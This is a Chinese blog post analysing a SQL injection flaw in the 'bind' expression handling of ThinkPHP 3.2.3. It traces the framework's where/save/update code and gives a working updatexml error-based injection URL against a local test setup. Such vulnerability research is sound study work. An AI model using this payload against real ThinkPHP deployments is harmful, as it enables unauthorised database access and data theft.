ThinkPHP3.2.3 bind注入

环境搭建

ThinkPHP3.2.3完整版:http://www.thinkphp.cn/donate/download/id/610.html

Application文件夹目录结构如下:

Application
├─Common         应用公共模块
│  ├─Common      应用公共函数目录
│  └─Conf        应用公共配置文件目录
├─Home           默认生成的Home模块
│  ├─Conf        模块配置文件目录
│  ├─Common      模块函数公共目录
│  ├─Controller  模块控制器目录
│  ├─Model       模块模型目录
│  └─View        模块视图文件目录
├─Runtime        运行时目录
│  ├─Cache       模版缓存目录
│  ├─Data        数据目录
│  ├─Logs        日志目录
│  └─Temp        缓存目录

修改 thinkphp32\Application\Home\Controller\IndexController.class.php 文件代码,内容如下:

public function index()
    {
        $User = M("Users");
        $user['id'] = I('id');
        $data['password'] = I('password');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }

配置连接数据库的文件 Application\Common\Conf\config.php ,内容如下:

<?php
return array(
	'DB_TYPE'   => 'mysql', // 数据库类型
	'DB_HOST'   => 'localhost', // 服务器地址
	'DB_NAME'   => 'thinkphp', // 数据库名
	'DB_USER'   => 'root', // 用户名
	'DB_PWD'    => 'root', // 密码
	'DB_PORT'   => 3306, // 端口
	'DB_PREFIX' => '', // 数据库表前缀 
	'DB_CHARSET'=> 'utf8', // 字符集
	'DB_DEBUG'  =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志 3.2.3新增
);

漏洞分析

可以通过payload进行正向审计,payload为:

http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7,user(),0x7e),1)

Thinkphp中一般使用I函数进行过滤,I函数官方说明:I函数输入过滤,在I函数中默认使用htmlspecialchars方法过滤,最后通过think_filter函数进行安全过滤。

image-20201012123850380

可以看到并没有对bind进行过滤,于是我们尝试传入payload:

http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=qq

image-20201012124043349

可以看到传入id[0]=bind&id[1]=qq时,sql语句中id值为:qq。接下来我们对其形成原因进行分析:

首先跟入where函数:

image-20201012124432751

在where函数中对$this->options['where']进行初始化,将id->{0->"bind",1->"qq"}赋值给$this->options['where'],接下来调用save函数:

/**
     * 保存数据
     * @access public
     * @param mixed $data 数据
     * @param array $options 表达式
     * @return boolean
     */
    public function save($data='',$options=array()) {
        if(empty($data)) {
            // 没有传递数据,获取当前数据对象的值
            if(!empty($this->data)) {
                $data           =   $this->data;
                // 重置数据
                $this->data     =   array();
            }else{
                $this->error    =   L('_DATA_TYPE_INVALID_');
                return false;
            }
        }
        // 数据处理
        $data       =   $this->_facade($data);
        if(empty($data)){
            // 没有数据则不执行
            $this->error    =   L('_DATA_TYPE_INVALID_');
            return false;
        }
        // 分析表达式
        $options    =   $this->_parseOptions($options);
        $pk         =   $this->getPk();
        if(!isset($options['where']) ) {
            // 如果存在主键数据 则自动作为更新条件
            if (is_string($pk) && isset($data[$pk])) {
                $where[$pk]     =   $data[$pk];
                unset($data[$pk]);
            } elseif (is_array($pk)) {
                // 增加复合主键支持
                foreach ($pk as $field) {
                    if(isset($data[$field])) {
                        $where[$field]      =   $data[$field];
                    } else {
                           // 如果缺少复合主键数据则不执行
                        $this->error        =   L('_OPERATION_WRONG_');
                        return false;
                    }
                    unset($data[$field]);
                }
            }
            if(!isset($where)){
                // 如果没有任何更新条件则不执行
                $this->error        =   L('_OPERATION_WRONG_');
                return false;
            }else{
                $options['where']   =   $where;
            }
        }

        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue    =   $options['where'][$pk];
        }
        if(false === $this->_before_update($data,$options)) {
            return false;
        }
        $result     =   $this->db->update($data,$options);
        if(false !== $result && is_numeric($result)) {
            if(isset($pkValue)) $data[$pk]   =  $pkValue;
            $this->_after_update($data,$options);
        }
        return $result;
    }

在Think\Db\Driver->update()中:

image-20201012125557009

继续跟入Think\Db\Driver->parseSet():

image-20201012125706650

在parseSet中进入标量数据检查,继续跟入bindParam:

image-20201012130539725

可以看到在bindParam中对this.bind进行赋值this.bind[:0]="",进行参数化。然后回到update函数中的:

$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');

继续跟入$this->parseWhere,进入重点$this->parseWhereItem:

// where子单元分析
protected function parseWhereItem($key,$val) {
    $whereStr = '';
    if(is_array($val)) {
        if(is_string($val[0])) {
            $exp	=	strtolower($val[0]);
            if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
            }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
                if(is_array($val[1])) {
                    $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                    if(in_array($likeLogic,array('AND','OR','XOR'))){
                        $like       =   array();
                        foreach ($val[1] as $item){
                            $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                        }
                        $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                    }
                }else{
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }
            }elseif('bind' == $exp ){ // 使用表达式
                $whereStr .= $key.' = :'.$val[1];
            }elseif('exp' == $exp ){ // 使用表达式
                $whereStr .= $key.' '.$val[1];
            }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
                if(isset($val[2]) && 'exp'==$val[2]) {
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                }else{
                    if(is_string($val[1])) {
                        $val[1] =  explode(',',$val[1]);
                    }
                    $zone      =   implode(',',$this->parseValue($val[1]));
                    $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                }
            }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
                $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
            }else{
                E(L('_EXPRESS_ERROR_').':'.$val[0]);
            }
        }else {
            $count = count($val);
            $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; 
            if(in_array($rule,array('AND','OR','XOR'))) {
                $count  = $count -1;
            }else{
                $rule   = 'AND';
            }
            for($i=0;$i<$count;$i++) {
                $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                if('exp'==strtolower($val[$i][0])) {
                    $whereStr .= $key.' '.$data.' '.$rule.' ';
                }else{
                    $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
                }
            }
            $whereStr = '( '.substr($whereStr,0,-4).' )';
        }
    }else {
        //对字符串类型字段采用模糊匹配
        $likeFields   =   $this->config['db_like_fields'];
        if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
            $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
        }else {
            $whereStr .= $key.' = '.$this->parseValue($val);
        }
    }
    return $whereStr;
}

可以看到在进入到elseif('bind' == $exp )中时,对$whereStr进行拼接:

$whereStr .= $key.' = :'.$val[1];

所以导致拼接后为:aa

最后在update中最后一行:

return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);

跟入$this->execute,可以找到:

$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));

使用strtr对参数进行替换后并执行sql语句。本意是将password后的 :0 替换为 "",但是我们可以构造id[1]=0,bind处理拼接后为 :0 ,导致在最后进行strtr时,将where后的id条件也替换为""

于是我们可以发现在并未过滤bind以及updatexml的情况下,可以进行报错注入:

payload:
http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7,user(),0x7e),1)

image-20201012141058774

参考

  1. ThinkPHP3.2.x框架SQL注⼊
  2. Thinkphp3.2.3最新版update注入漏洞
  3. Thinkphp3.2.3完全开发手册
posted @ 2020-10-12 14:17  lktop  阅读(825)  评论(0编辑  收藏  举报